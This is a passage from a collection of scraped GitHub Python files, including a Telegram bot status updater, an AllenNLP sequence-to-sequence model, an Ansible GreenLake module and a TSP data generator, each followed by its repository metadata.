msg += f\"{i}. `{name}`\\n\"\n\n if len(queue) == 1:\n loc = await enquotes()\n msg += f\"Nothing Here; While you wait:\\n\\n{loc}\"\n except Exception:\n pass\n me = await tele.get_me()\n codec = await get_codec()\n msg += f\"\\n\\nYours truly,\\n {enmoji()} `{me.first_name}`\"\n msg += f\"\\n == {codec} ==\"\n return msg\n\n\nasync def stateditor(x, channel, id):\n try:\n return await pyro.edit_message_text(channel, id, x)\n\n except Exception:\n pass\n\n\nasync def autostat():\n if forward and forward_id:\n check = []\n while forward_id:\n if not queue:\n if check:\n await asyncio.sleep(60)\n continue\n check.append(1)\n\n else:\n check.clear() if check else None\n if startup_:\n estat = await encodestat()\n else:\n estat = f\"**{enquip4()} {enmoji()}**\"\n await stateditor(estat, forward, forward_id)\n await asyncio.sleep(60)\n","repo_name":"Nubuki-all/Enc","sub_path":"bot/workers/auto/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"1623937556","text":"import bcolz\nimport pickle\nimport numpy as np\n\ndef load_weight_matrix(target_vocab,emb_dim=50):\n\tglove_name = f\"6B.{emb_dim}\"\n\tglove_path = \"../../Scripts/GloVe\"\n\tvectors = bcolz.open(f\"{glove_path}/{glove_name}.dat\")[:]\n\twords = pickle.load(open(f\"{glove_path}/{glove_name}_words.pkl\",\"rb\"))\n\tword2idx = pickle.load(open(f\"{glove_path}/{glove_name}_idx.pkl\",\"rb\"))\n\tglove = {w: vectors[word2idx[w]] for w in words}\n\tmatrix_len = len(target_vocab)\n\tweights_matrix = np.zeros((matrix_len,emb_dim))\n\twords_found = 0\n\tfor i,word in enumerate(target_vocab):\n\t\ttry:\n\t\t\tweights_matrix[i] = glove[word]\n\t\t\twords_found += 1\n\t\texcept KeyError:\n\t\t\tweights_matrix[i] = np.random.normal(scale=0.6,size=(emb_dim,))\n\treturn weights_matrix\n\ndef create_emb_layer(target_vocab,emb_dim=50,non_trainable=False):\n\tassert emb_dim in [50,100,200,300]\n\tweights_matrix = load_weight_matrix(target_vocab,emb_dim=emb_dim)\n\tnum_embeddings,embedding_dim = weights_matrix.size()\n\temb_layer = nn.Embedding(num_embeddings,embedding_dim)\n\temb_layer.load_state_dict({\"weight\":weights_matrix})\n\tif non_trainable:\n\t\temb_layer.weight.requires_grad = False\n\treturn emb_layer,num_embeddings,embedding_dim\n","repo_name":"mhattingpete/GenerativeAdversarialNetworks","sub_path":"Scripts/load_glove.py","file_name":"load_glove.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2674422906","text":"from turtle import Turtle, Screen, colormode\nimport tkinter\nimport random\n\n\nkim = Turtle()\n# kim.shape(\"turtle\")\nkim.color(\"red\")\nkim.pensize(2)\ncolormode(255)\nkim.up()\nkim.setpos(0, 0)\nkim.down()\n\n\n# # for number in range(3, 15):\n\n# counter = 0\n# while counter != number:\n# kim.forward(100)\n# kim.right(360 / number)\n# counter += 1\n\n\ndef random_color():\n \"\"\"Assigns a Random color everything the loop starts over\"\"\"\n r = random.randint(0, 255)\n g = random.randint(0, 255)\n b = random.randint(0, 255)\n tuple = (r, g, b)\n return tuple\n\n\nkim.speed(\"fastest\")\n\n\nstarting = 0\n\n\nfor _ in range(0, 360, 7):\n kim.pencolor(random_color())\n kim.setheading(_)\n kim.circle(100, 360)\n # starting += _\n\n\n\n\n\n\n\n\n\n\nscreen = Screen()\nscreen.exitonclick()\n\n\n\n\n\n\n","repo_name":"angeljmercado/miniprojects_practice","sub_path":"100 Days of Python/Day 18 Turtle and The GUI- Hirts Painting/Turtle_Main.py","file_name":"Turtle_Main.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16520213359","text":"import os\r\nimport octobot.constants as octobot_constants\r\nfrom octobot_commons import optimization_campaign\r\nimport octobot_trading.util as trading_util\r\nimport octobot_tentacles_manager.api as tentacles_manager_api\r\nimport octobot_commons.constants as commons_constants\r\nimport octobot_services.interfaces.util as interfaces_util\r\n\r\n\r\nimport tentacles.Services.Interfaces.web_interface.plugins as plugins\r\nimport tentacles.Services.Interfaces.web_interface.models as models\r\nimport tentacles.Services.Interfaces.web_interface.enums as web_enums\r\nfrom .controllers import (\r\n frontend,\r\n configuration,\r\n portfolio,\r\n plot_data,\r\n bot_info,\r\n app_store,\r\n run_data,\r\n semi_auto_trade,\r\n trading,\r\n daemons,\r\n tentacles_config,\r\n symbols_info,\r\n exchanges_config,\r\n)\r\n\r\n\r\nclass O_UI(plugins.AbstractWebInterfacePlugin):\r\n NAME = \"octo_ui2\"\r\n PLUGIN_ROOT_FOLDER = os.path.dirname(os.path.abspath(__file__))\r\n\r\n def register_routes(self):\r\n frontend.register_frontend_route(self)\r\n bot_info.register_bot_info_routes(self)\r\n plot_data.register_plot_data_routes(self)\r\n configuration.register_bot_config_routes(self)\r\n portfolio.register_portfolio_routes(self)\r\n app_store.register_appstore_routes(self)\r\n run_data.register_run_data_routes(self)\r\n semi_auto_trade.register_semi_auto_trade_routes(self)\r\n trading.register_cancel_orders_routes(self)\r\n tentacles_config.register_tentacles_config_routes(self)\r\n daemons.register_daemons_routes(self)\r\n symbols_info.register_symbols_info_routes(self)\r\n exchanges_config.register_exchanges_routes(self)\r\n\r\n def get_tabs(self):\r\n return [\r\n models.WebInterfaceTab(\r\n \"octo_ui2\",\r\n \"octo_ui2.home\",\r\n \"O UI\",\r\n web_enums.TabsLocation.START,\r\n )\r\n ]\r\n\r\n @classmethod\r\n def get_ui_config(\r\n cls,\r\n ):\r\n campaign_config = cls._get_campaign_config()\r\n config = tentacles_manager_api.get_tentacle_config(\r\n interfaces_util.get_edited_tentacles_config(), cls\r\n )\r\n if not config:\r\n config = DEFAULT_CONFIG\r\n config[octobot_constants.OPTIMIZATION_CAMPAIGN_KEY] = campaign_config\r\n config[\"optimizer_campaigns_to_load\"][\r\n campaign_config[commons_constants.CONFIG_NAME]\r\n ] = True\r\n config[\r\n commons_constants.CONFIG_CURRENT_LIVE_ID\r\n ] = trading_util.get_current_bot_live_id(interfaces_util.get_edited_config())\r\n return config\r\n\r\n @classmethod\r\n def optimization_campaign_name(cls, tentacles_setup_config=None):\r\n return cls._get_campaign_config(tentacles_setup_config)[\r\n commons_constants.CONFIG_NAME\r\n ]\r\n\r\n @classmethod\r\n def _get_campaign_config(cls, tentacles_setup_config=None):\r\n config = tentacles_manager_api.get_tentacle_config(\r\n tentacles_setup_config or interfaces_util.get_edited_tentacles_config(), cls\r\n )\r\n campaign_config = config.get(octobot_constants.OPTIMIZATION_CAMPAIGN_KEY, {})\r\n campaign_config[commons_constants.CONFIG_NAME] = campaign_config.get(\r\n commons_constants.CONFIG_NAME, commons_constants.DEFAULT_CAMPAIGN\r\n )\r\n return campaign_config\r\n\r\n\r\noptimization_campaign.register_optimization_campaign_name_proxy(\r\n O_UI.optimization_campaign_name\r\n)\r\n\r\nDEFAULT_CONFIG = {\r\n \"backtesting_run_settings\": {\r\n \"data_sources\": [\"current_bot_data\"],\r\n \"end_timestamp\": None,\r\n \"exchange_names\": [],\r\n \"exchange_type\": \"use_current_profile\",\r\n \"start_timestamp\": None,\r\n },\r\n \"display_settings\": {\r\n \"graphs\": {\r\n \"display_unified_tooltip\": True,\r\n \"display_use_log_scale\": False,\r\n \"max_candles_before_line_display\": 10000,\r\n \"max_candles_line_sources\": [\"high\", \"low\"],\r\n }\r\n },\r\n \"optimizer_campaigns_to_load\": {\"default_campaign\": True},\r\n \"optimizer_run_settings\": {\r\n \"data_files\": [\"current_bot_data\"],\r\n \"end_timestamp\": None,\r\n \"exchange_names\": [],\r\n \"exchange_type\": \"use_current_profile\",\r\n \"idle_cores\": 1,\r\n \"notify_when_complete\": True,\r\n \"optimizer_id\": 1,\r\n \"queue_size\": 1000,\r\n \"start_timestamp\": None,\r\n },\r\n}\r\n","repo_name":"techfreaque/octane","sub_path":"octobot-packages/reference_tentacles/Services/Interfaces/octo_ui2/octo_ui2_plugin.py","file_name":"octo_ui2_plugin.py","file_ext":"py","file_size_in_byte":4434,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"23511254445","text":"import os\n\nfrom celery import Celery\nfrom django.conf import settings\nfrom django.core.cache import cache\n# set the default Django settings module for the 'celery' program.\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'engage.settings.dev')\n\n# app = Celery('erp')\napp = Celery('engage')\n\n# Using a string here means the worker doesn't have to serialize\n# the configuration object to child processes.\n# - namespace='CELERY' means all celery-related configuration keys\n# should have a `CELERY_` prefix.\napp.config_from_object('django.conf:settings', namespace='CELERY')\n\n# Load task modules from all registered Django app configs.\napp.autodiscover_tasks()\napp.conf.broker_url = settings.BROKER_URL\napp.conf.beat_scheduler = 'django_celery_beat.schedulers.DatabaseScheduler'\napp.conf.broker_transport_options = {'visibility_timeout': 36000}\n\n@app.task(bind=True)\ndef debug_task(self):\n print(f'Request: {self.request!r}')\n\n\ndef block_multiple_celery_task_execution(task, prefix):\n # prefix actully is not necessary but I thing it's good practice to seperate id of each task \n # m_cache = caches.all()[0]\n is_task_executed = cache.get(f\"{prefix}\") # _{task.request.id}\n # print(\"m_cache\", m_cache, \"cache\", cache)\n # print(f\"denied running: {is_task_executed}\")\n if not is_task_executed:\n cache.set(f\"{prefix}\", True, timeout=30) # 30 secs # _{task.request.id}\n # print(f'cache.get(f\"{prefix}\")', cache.get(f\"{prefix}\"))\n # print(f\"{prefix}_{task.request.id}\", \"set to\", True)\n # print(f\"{prefix}_{task.request.id} set to\", cache.get(f\"{prefix}_{task.request.id}\"))\n return False\n \n print(\"task has been blocked to prevent multiple execution!\")\n return True","repo_name":"serena612/engageRobi","sub_path":"backend/engage/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19622326643","text":"#!/usr/bin/python3\n\"\"\"Module containing read_file function\n\"\"\"\n\n\nclass Student:\n \"\"\"class Student that is not empty\"\"\"\n\n def __init__(self, first_name, last_name, age):\n \"\"\"function that initializes attributes\n Args:\n self : the object\n first_name : the first name\n last_name : the last name\n age : the age\n Returns:\n void\n \"\"\"\n self.first_name = first_name\n self.last_name = last_name\n self.age = age\n\n def to_json(self):\n \"\"\"function that retrieves a\n dictionary representation of a Student\n Args:\n self : the object\n Returns:\n dict\n \"\"\"\n json_dict = {}\n for attr, value in self.__dict__.items():\n json_dict[attr] = value\n return json_dict\n","repo_name":"Suitret/alx-higher_level_programming","sub_path":"0x0B-python-input_output/9-student.py","file_name":"9-student.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"23533538227","text":"from typing import Dict, Optional, Tuple\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom allennlp.common.util import START_SYMBOL, END_SYMBOL\nfrom allennlp.data.vocabulary import Vocabulary\nfrom allennlp.models.model import Model\nfrom allennlp.modules import TextFieldEmbedder\nfrom allennlp.modules.attention import BilinearAttention\nfrom allennlp.modules.token_embedders import Embedding\nfrom allennlp.nn import RegularizerApplicator, util\nfrom overrides import overrides\nfrom my_library.my_loss_metric import BELU\nimport os, json\n\n@Model.register(\"my_model\")\nclass SequenceToSequence(Model):\n DECODERS = {\"rnn\": torch.nn.RNN, \"lstm\": torch.nn.LSTM, \"gru\": torch.nn.GRU}\n def __init__(self,\n # Vocabluary.\n vocab: Vocabulary,\n cuda_device,\n\n # Embeddings.\n source_text_field_embedder: TextFieldEmbedder,\n target_embedding_size: int,\n\n hidden_size: int,\n decoder_type: str = \"gru\",\n source_namespace: str = \"tokens\",\n target_namespace: str = \"target\",\n\n # Hyperparamters and flags.\n drop_out_rate: float = 0.0,\n\n decoder_attention_function: BilinearAttention = None,\n decoder_is_bidirectional: bool = False,\n decoder_num_layers: int = 1,\n apply_attention: bool = False,\n max_decoding_steps: int = 100,\n # scheduled_sampling_ratio: float = 0.0,\n attention_file: str = \"attention_data.jsonl\",\n\n regularizer: Optional[RegularizerApplicator] = None) -> None:\n super().__init__(vocab, regularizer)\n assert decoder_type in SequenceToSequence.DECODERS\n\n self.source_vocab_size = vocab.get_vocab_size(source_namespace)\n self.target_vocab_size = vocab.get_vocab_size(target_namespace)\n self.source_field_embedder = source_text_field_embedder\n self.encoder = torch.nn.LSTM(self.source_field_embedder.get_output_dim(), hidden_size, num_layers=1, bidirectional=False, batch_first=True)\n self.metrics = {\"BELU\": BELU()}\n\n self.target_vocab_size = vocab.get_vocab_size(target_namespace)\n self.target_embedder = Embedding(self.target_vocab_size, target_embedding_size)\n\n if apply_attention:\n decoder_input_size = target_embedding_size + hidden_size\n else:\n decoder_input_size = target_embedding_size + hidden_size\n\n # self.analyze_this_target = START_SYMBOL + \" S T A I R C A S E . . . \" + END_SYMBOL\n self.attention_file = attention_file\n\n self.dropout = torch.nn.Dropout(p=drop_out_rate)\n # Hidden size of the encoder and decoder should match.\n decoder_hidden_size = hidden_size\n self.decoder = SequenceToSequence.DECODERS[decoder_type](\n decoder_input_size,\n decoder_hidden_size,\n num_layers=decoder_num_layers,\n batch_first=True,\n bias=True,\n bidirectional=decoder_is_bidirectional\n )\n self.output_projection_layer = torch.nn.Linear(hidden_size, len(vocab._token_to_index['target']))\n self.apply_attention = apply_attention\n self.decoder_attention_function = decoder_attention_function or BilinearAttention(\n matrix_dim=hidden_size,\n vector_dim=hidden_size\n )\n\n # Hyperparameters.\n self._max_decoding_steps = max_decoding_steps\n # self._scheduled_sampling_ratio = scheduled_sampling_ratio\n\n self._decoder_is_lstm = isinstance(self.decoder, torch.nn.LSTM)\n self._decoder_is_gru = isinstance(self.decoder, torch.nn.GRU)\n self._decoder_num_layers = decoder_num_layers\n\n self._start_index = vocab.get_token_index(START_SYMBOL, target_namespace)\n self._end_index = vocab.get_token_index(END_SYMBOL, target_namespace)\n self._source_namespace = source_namespace\n self._target_namespace = target_namespace\n self.count = 0\n self.first_dump = True\n if cuda_device[0] == -1 or cuda_device == -1:\n self.device = torch.device(\"cpu\")\n else:\n cuda =\"cuda:\" + str(cuda_device[0])\n self.device = torch.device(cuda if torch.cuda.is_available() else \"cpu\")\n\n @overrides\n def forward(self,source, source_clean, target = None ,target_clean = None,analyze_instance = False) -> Dict[str, torch.Tensor]:\n attentions_to_keep = []\n source_sequence_encoded = self.encode_input(source)\n\n source_encoded = source_sequence_encoded[:, -1]\n\n batch_size = source_encoded.size(0)\n\n # Determine number of decoding steps. If training or computing validation, we decode\n # target_seq_len times and compute loss.\n if target:\n target_tokens = target['tokens']\n target_seq_len = target['tokens'].size(1)\n num_decoding_steps = target_seq_len - 1\n else:\n num_decoding_steps = self.max_decoding_steps\n\n # last_predictions = None\n step_logits, step_probabilities, step_predictions = [], [], []\n decoder_hidden = self.init_decoder_hidden_state(source_encoded)\n for timestep in range(num_decoding_steps):\n if self.training:\n input_choices = target_tokens[:, timestep]\n else:\n if timestep == 0: # Initialize decoding with the start token.\n input_choices = (torch.ones((batch_size,)) * self._start_index).long()\n else:\n input_choices = last_predictions\n decoder_input, the_attention = self.prepare_decode_step_input(input_choices, decoder_hidden,\n source_sequence_encoded, source_encoded)\n decoder_input = decoder_input.unsqueeze(1)\n\n _, decoder_hidden = self.decoder(decoder_input, decoder_hidden)\n\n # Probability distribution for what the next decoded class should be.\n output_projection = self.output_projection_layer(decoder_hidden[0][-1]\n if self._decoder_is_lstm\n else decoder_hidden[-1])\n step_logits.append(output_projection.unsqueeze(1))\n\n _, predicted_classes = torch.max(output_projection, 1)\n step_predictions.append(predicted_classes.unsqueeze(1))\n last_predictions = predicted_classes\n if analyze_instance and self.apply_attention:\n attentions_to_keep.append(the_attention[0].detach().cpu().tolist())\n\n logits = torch.cat(step_logits, 1)\n # class_probabilities = torch.cat(step_probabilities, 1)\n all_predictions = torch.cat(step_predictions, 1)\n output_dict = {\"logits\": logits,\n # \"class_probabilities\": class_probabilities,\n \"predictions\": all_predictions}\n if target:\n target_mask = util.get_text_field_mask(target)\n relevant_targets = target['tokens'][:, 1:]\n relevant_mask = target_mask[:, 1:]\n loss = util.sequence_cross_entropy_with_logits(logits, relevant_targets, relevant_mask)\n output_dict[\"loss\"] = loss\n self.decode(output_dict)\n self.metrics['BELU'](output_dict[\"predicted_tokens\"], target_clean)\n if analyze_instance:\n line = {\"source\": source_clean, \"target\": target_clean, \"attention\": attentions_to_keep}\n self.write_to_file(line)\n\n return output_dict\n\n def encode_input(self, source: Dict[str, torch.LongTensor]) -> Tuple[torch.FloatTensor, torch.FloatTensor]:\n \"\"\"\n Required shapes: (batch_size, sequence_length, decoder_hidden_size)\n \"\"\"\n source_sequence_embedded = self.source_field_embedder(source).to(self.device)\n source_sequence_embedded = self.dropout(source_sequence_embedded)\n\n encoded_source_sequence = self.encoder(source_sequence_embedded)\n return encoded_source_sequence[0]\n\n def init_decoder_hidden_state(self, source_sequence_encoded: torch.FloatTensor) -> torch.FloatTensor:\n \"\"\"\n Required shape: (batch_size, num_decoder_layers, encoder_hidden_size)\n \"\"\"\n decoder_primer = source_sequence_encoded.unsqueeze(0)\n decoder_primer = decoder_primer.expand(\n self._decoder_num_layers, -1, self.encoder.hidden_size\n )\n\n if self._decoder_is_lstm:\n decoder_primer = (decoder_primer, torch.zeros_like(decoder_primer))\n\n return decoder_primer\n\n def prepare_decode_step_input(self,\n input_indices: torch.LongTensor,\n decoder_hidden: torch.LongTensor,\n encoder_outputs: torch.LongTensor,\n source_encoded: torch.LongTensor\n ) -> torch.LongTensor:\n \"\"\"\n input_indices Indices of either the gold inputs to the decoder or the predicted labels from the\n previous timestep.\n decoder_hidden : torch.LongTensor\n Output from the decoder at the last time step.\n encoder_outputs : torch.LongTensor\n Encoder outputs from all time steps.\n \"\"\"\n embedded_input = self.target_embedder(input_indices.to(self.device))\n if self.apply_attention:\n if isinstance(decoder_hidden, tuple):\n decoder_hidden = decoder_hidden[0]\n input_weights = self.decoder_attention_function(decoder_hidden[-1], encoder_outputs)\n\n # (batch_size, encoder_output_dim)\n attended_input = util.weighted_sum(encoder_outputs, input_weights)\n # (batch_size, encoder_output_dim + target_embedding_dim)\n return torch.cat((attended_input, embedded_input), -1), input_weights\n else:\n return torch.cat((source_encoded, embedded_input), -1), None\n\n def decode(self, output_dict: Dict[str, torch.Tensor]) -> Dict[str, torch.Tensor]:\n predicted_indices = output_dict[\"predictions\"]\n if not isinstance(predicted_indices, np.ndarray):\n predicted_indices = predicted_indices.detach().cpu().numpy()\n all_predicted_tokens = []\n for indices in predicted_indices:\n indices = list(indices)\n # Collect indices till the first END_SYMBOL.\n if self._end_index in indices:\n indices = indices[:indices.index(self._end_index)]\n predicted_tokens = [self.vocab.get_token_from_index(x, namespace=self._target_namespace)\n for x in indices]\n all_predicted_tokens.append(predicted_tokens)\n output_dict[\"predicted_tokens\"] = all_predicted_tokens\n return all_predicted_tokens\n\n @overrides\n def get_metrics(self, reset: bool = False) -> Dict[str, float]:\n metric_results = {}\n for metric_name, metric in self.metrics.items():\n x = metric.get_metric(reset)\n if x is not None:\n metric_results[metric_name] = x\n\n return metric_results\n\n def write_to_file(self, json_instance):\n if not self.first_dump:\n append_write = 'a' # append if already exists\n else:\n append_write = 'w' # make a new file if not\n self.first_dump = False\n with open(self.attention_file, append_write) as fw:\n # for m,values in data_results.items():\n fw.write(json.dumps(json_instance) + \"\\n\")\n # fw.write(\"\\n\")\n","repo_name":"ofersabo/NMT_encoder_decoder","sub_path":"my_library/models/my_model.py","file_name":"my_model.py","file_ext":"py","file_size_in_byte":11776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13905288657","text":"from csv import DictReader\n\ncategories = {}\nwith open('category.csv', 'r', encoding='utf-8-sig') as category_file:\n rows = DictReader(category_file)\n for row in rows:\n categories[row['pk']] = {\n 'name': row['name'],\n }\n\nsubcategories = {}\nwith open('subcategories.csv', 'r', encoding='utf-8-sig') as subcategories_file:\n rows = DictReader(subcategories_file)\n for row in rows:\n subcategories[row['pk']] = {\n 'name': row['name'],\n 'fk': row['fk'],\n }\n\nbrands = {}\nwith open('brands.csv', 'r', encoding='utf-8-sig') as brands_file:\n rows = DictReader(brands_file)\n for row in rows:\n brands[row['pk']] = {\n 'name': row['name'],\n 'fk': row['fk'],\n }\n\nproducts = {}\nwith open('products.csv', 'r', encoding='utf-8-sig') as products_file:\n rows = DictReader(products_file)\n for row in rows:\n products[row['pk']] = {\n 'name': row['name'],\n 'description': row['description'],\n 'price': row['price'],\n 'quantity': int(row['quantity']),\n 'image_name': row['image_name'],\n 'fk': row['fk'],\n }\n\nfor product in products.values():\n brand = brands[product['fk']]\n subcategory = subcategories[brand['fk']]\n category = categories[subcategory['fk']]\n product_details = f\"{product['name']} - ${product['price']} ({product['description']})\"\n print(f\"{category['name']} -> {subcategory['name']} -> {brand['name']} -> {product_details}\")\n if product['image_name'] == '':\n print('Error: Missing image name.')\n if product['quantity'] > 3:\n print('Error: Quantity can not be more than three.')\n","repo_name":"HaneenAlotaibi/test1","sub_path":"hw2.py","file_name":"hw2.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20433361826","text":"from matplotlib import pyplot as plt\nimport pandas as pd\ndf = pd.read_csv('data.csv', header=None)\ndf.rename(columns={0: 'angle', 1: 'distance', 2: 'height'}, inplace=True)\n\nangle = df['angle']\ndistance = df['distance']\nheight = df['height']\n\n# Create a 3D plot\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nax.scatter(angle, distance, height)\n\n# Set the plot title and axis labels\nax.set_title('Projectile Motion')\nax.set_xlabel('Angle')\nax.set_ylabel('Distance')\nax.set_zlabel('Height')\n\n# Show the plot\nplt.show()\n","repo_name":"MartinConradsen/thesis_project","sub_path":"Charts/dataviz.py","file_name":"dataviz.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9888015574","text":"DOCUMENTATION = '''\n---\nmodule: greenlake_volumeset_facts\nshort_description: Retrieve the facts about volumeset resources\ndescription:\n - Retrieve the facts about one or more of the HPE Greenlake Data Services volumeset resources\nversion_added: \"2.4.0\"\nrequirements:\n - python >= 3.8\n - greenlake_data_services >= 1.0.0\nauthor: \"Sijeesh Kattumunda (@sijeesh)\"\noptions:\n id:\n description:\n - Id of the Greenlake Data Service volumeset resource.\n required: false\n type: str\n name:\n description:\n - Name of the Greenlake Data Service volumeset resource.\n required: false\n type: str\n options:\n description:\n - \"List with options to gather additional facts about Greenlake Data Service volumeset resources.\n Options allowed:\n getVolumes get list of volumes\n getSnapshots get lsit of snapshots\n - \"To gather facts about getVolumes and getSnapshots\n a Volumeset name/id is required. Otherwise, these options will be ignored.\"\n type: list\n params:\n description:\n - List of params to delimit, filter and sort the list of resources.\n - \"params allowed:\n C(limit): int | Number of items to return at a time (optional)\n C(offset): int | The offset of the first item in the collection to return (optional)\n C(filter): \"name eq volset and systemId eq 7CE751P312\" # str | oData query to filter by Key. (optional)\n C(sort): \"systemId desc\" # str | oData query to sort by Key. (optional)\n C(select): \"id\" # str | Query to select only the required parameters, separated by . if nested (optional)\n required: false\n type: dict\n'''\n\nEXAMPLES = '''\n- name: Get GreenLake Data Service volumeset resources\n greenlake_volumeset_facts:\n host: \n client_id: \n client_secret: \n- debug: var=volume_sets\n'''\n\nRETURN = '''\nvolume_sets:\n description: Has all the Greenlake Data Service facts about the volumeset resources.\n returned: Always, but can be null.\n type: dict\n'''\n\nfrom greenlake_data_services.api import volume_sets_api\nfrom ansible_collections.hpe.greenlake_data_services.plugins.module_utils.greenlake import GreenLakeDataServiceModule\n\n\nclass GreenLakeVolumeSetFactsModule(GreenLakeDataServiceModule):\n\n def __init__(self):\n argument_spec = dict(id=dict(type='str'),\n name=dict(type='str'),\n system_id=dict(type='str'),\n device_type=dict(required=True,\n choices=['1', '2']),\n options=dict(type='list'),\n params=dict(type='dict'))\n\n super(GreenLakeVolumeSetFactsModule, self).__init__(\n additional_arg_spec=argument_spec)\n\n self.set_resource_client(volume_sets_api.VolumeSetsApi(\n self.greenlake_client))\n\n self.set_resource_data()\n\n def get_resource_by_id_or_name(self, id=None, name=None):\n \"\"\"\n Set resource data by passing id or name\n \"\"\"\n return self.volume_set_get_by_id_or_name(self.system_id, id, name)\n\n def execute_module(self):\n ansible_facts = {'volume_sets': []}\n\n if self.module.params.get('id') or self.module.params.get('name'):\n ansible_facts[\"volume_sets\"].append(self.resource_data)\n\n if self.options:\n more_facts = self.__gather_optional_facts(ansible_facts)\n ansible_facts.update(more_facts)\n\n elif self.module.params.get('system_id'):\n api_response = self.resource_client.device_type1_volume_sets_list(\n self.module.params['system_id'])\n\n ansible_facts[\"volume_sets\"] = api_response.to_dict()[\"items\"]\n\n else:\n api_response = self.resource_client.volumeset_list(\n **self.facts_params)\n\n ansible_facts[\"volume_sets\"] = api_response.to_dict()[\"items\"]\n\n return dict(changed=False, ansible_facts=ansible_facts)\n\n def __gather_optional_facts(self, ansible_facts):\n more_facts = {\"snapshots\": [], \"volumes\": []}\n\n if self.options.get('getVolumes'):\n api_response = self.resource_client.volumeset_get_byvolumeset_id(\n self.resource_data['id'])\n response = api_response.to_dict()\n if response.get(\"items\"):\n more_facts[\"volumes\"] = response[\"items\"]\n\n if self.options.get('getSnapshots'):\n api_response = self.resource_client.device_type1_volume_set_snapshots_list(\n self.resource_data[\"system_id\"],\n self.resource_data['id'])\n response = api_response.to_dict()\n\n if response.get(\"items\"):\n more_facts[\"snapshots\"] = response[\"items\"]\n\n return more_facts\n\ndef main():\n \"\"\"\n \"\"\"\n GreenLakeVolumeSetFactsModule().run()\n\nif __name__ == '__main__':\n main()\n","repo_name":"HewlettPackard/greenlake-data-services-ansible","sub_path":"plugins/modules/greenlake_volumeset_facts.py","file_name":"greenlake_volumeset_facts.py","file_ext":"py","file_size_in_byte":5022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"69978153052","text":"import time\nimport argparse\nimport pprint as pp\nimport os\n\nimport numpy as np\nfrom concorde.tsp import TSPSolver # Install from https://github.com/jvkersch/pyconcorde\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--min_nodes\", type=int, default=50)\n parser.add_argument(\"--max_nodes\", type=int, default=500)\n parser.add_argument(\"--num_samples\", type=int, default=10000)\n parser.add_argument(\"--filename\", type=str, default=None)\n parser.add_argument(\"--node_dim\", type=int, default=2)\n parser.add_argument(\"--seed\", type=int, default=1234)\n opts = parser.parse_args()\n \n if opts.filename is None:\n opts.filename = f\"tsp{opts.min_nodes}-{opts.max_nodes}.txt\"\n \n # Pretty print the run args\n pp.pprint(vars(opts))\n \n np.random.seed(opts.seed)\n \n with open(opts.filename, \"w\") as f:\n start_time = time.time()\n idx = 0\n while idx < opts.num_samples:\n num_nodes = np.random.randint(low=opts.min_nodes, high=opts.max_nodes+1)\n \n nodes_coord = np.random.random([num_nodes, opts.node_dim])\n solver = TSPSolver.from_data(nodes_coord[:, 0], nodes_coord[:, 1], norm=\"GEO\") \n solution = solver.solve()\n \n # Only write instances with valid solutions\n if (np.sort(solution.tour) == np.arange(num_nodes)).all():\n f.write( \" \".join( str(x)+str(\" \")+str(y) for x,y in nodes_coord) )\n f.write( str(\" \") + str('output') + str(\" \") )\n f.write( str(\" \").join( str(node_idx+1) for node_idx in solution.tour) )\n f.write( str(\" \") + str(solution.tour[0]+1) + str(\" \") )\n f.write( \"\\n\" )\n idx += 1\n \n end_time = time.time() - start_time\n \n print(f\"Completed generation of {opts.num_samples} samples of TSP{opts.min_nodes}-{opts.max_nodes}.\")\n print(f\"Total time: {end_time/60:.1f}m\")\n print(f\"Average time: {end_time/opts.num_samples:.1f}s\")\n","repo_name":"graphdeeplearning/benchmarking-gnns","sub_path":"data/TSP/generate_TSP.py","file_name":"generate_TSP.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":2289,"dataset":"github-code","pt":"32"} +{"seq_id":"31946672114","text":"from silmarillion import get_t5_similarity\nfrom get_posts import get_data as get_posts\nfrom get_reply import get_replies\nimport random\n\nBATCH_SIZE = 128\n\nif __name__ == '__main__':\n posts, _ = get_posts()\n similarity_matrix = {}\n\n for i, p1 in enumerate(posts):\n for j, p2 in enumerate(posts):\n if i == j or (i, j) in similarity_matrix.keys():\n continue\n similarity_matrix[(i, j)] = (p1['source'], p2['source'])\n similarity_matrix[(j, i)] = similarity_matrix[(i, j)]\n\n sentence_tuples = list(set(similarity_matrix.values()))\n random.shuffle(sentence_tuples)\n\n num_iterations = len(sentence_tuples) // BATCH_SIZE\n similarities = []\n for i in range(num_iterations):\n start = i * BATCH_SIZE\n end = (i+1) * BATCH_SIZE\n batch = sentence_tuples[start:end]\n t_simil = get_t5_similarity(batch)\n for t in t_simil:\n similarities.append(t)\n\n\n for i, s in enumerate(sentence_tuples):\n print(s)\n print(similarities[i])\n\n pass","repo_name":"aniquetahir/acoger-dirt","sub_path":"scripts/similar.py","file_name":"similar.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"36057947068","text":"#!/usr/bin/env python3\n# -*- coding: 